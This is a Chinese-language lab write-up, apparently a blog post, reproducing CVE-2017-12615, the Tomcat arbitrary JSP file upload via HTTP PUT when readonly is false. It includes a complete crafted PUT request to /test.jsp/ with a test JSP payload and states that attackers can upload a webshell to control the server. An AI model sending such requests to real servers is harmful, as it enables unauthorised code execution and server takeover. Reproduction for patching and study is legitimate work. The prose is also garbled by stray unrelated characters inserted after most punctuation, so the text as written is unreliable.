漏洞復現(xiàn)-通過PUT方法的Tomcat任意寫入文件漏洞(CVE-2017-12615)
當 Tomcat 運行在 Windows 主機上咏雌,且啟用了 HTTP PUT 請求方法(例如默勾,將 readonly 初始化參數(shù)由默認值設(shè)置為 false)啤咽,攻擊者將有可能可通過精心構(gòu)造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件志鞍。之后缩擂,JSP 文件中的代碼將能被服務器執(zhí)行优幸。
環(huán)境準備
image.png
訪問http://ip:8080
image.png
要滿足這個漏洞的產(chǎn)生寂纪,需要tomcat配置readonly = false湃番。
這導致我們可以將文件寫到服務器中夭织。
進入docker容器tomcat中
image.png
發(fā)現(xiàn)web.xml配置文件中的readonly = false
image.png
達成可以漏洞利用的條件。
構(gòu)造一個put形式的請求包吠撮。
PUT /test.jsp/ HTTP/1.1
Host: 192.168.154.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
<% out.print("hello"); %>
image.png
完成后訪問生成的路徑尊惰,發(fā)現(xiàn)成功執(zhí)行了請求代碼。
image.png
攻擊者可以成功上傳 webshell泥兰,并控制服務器弄屡。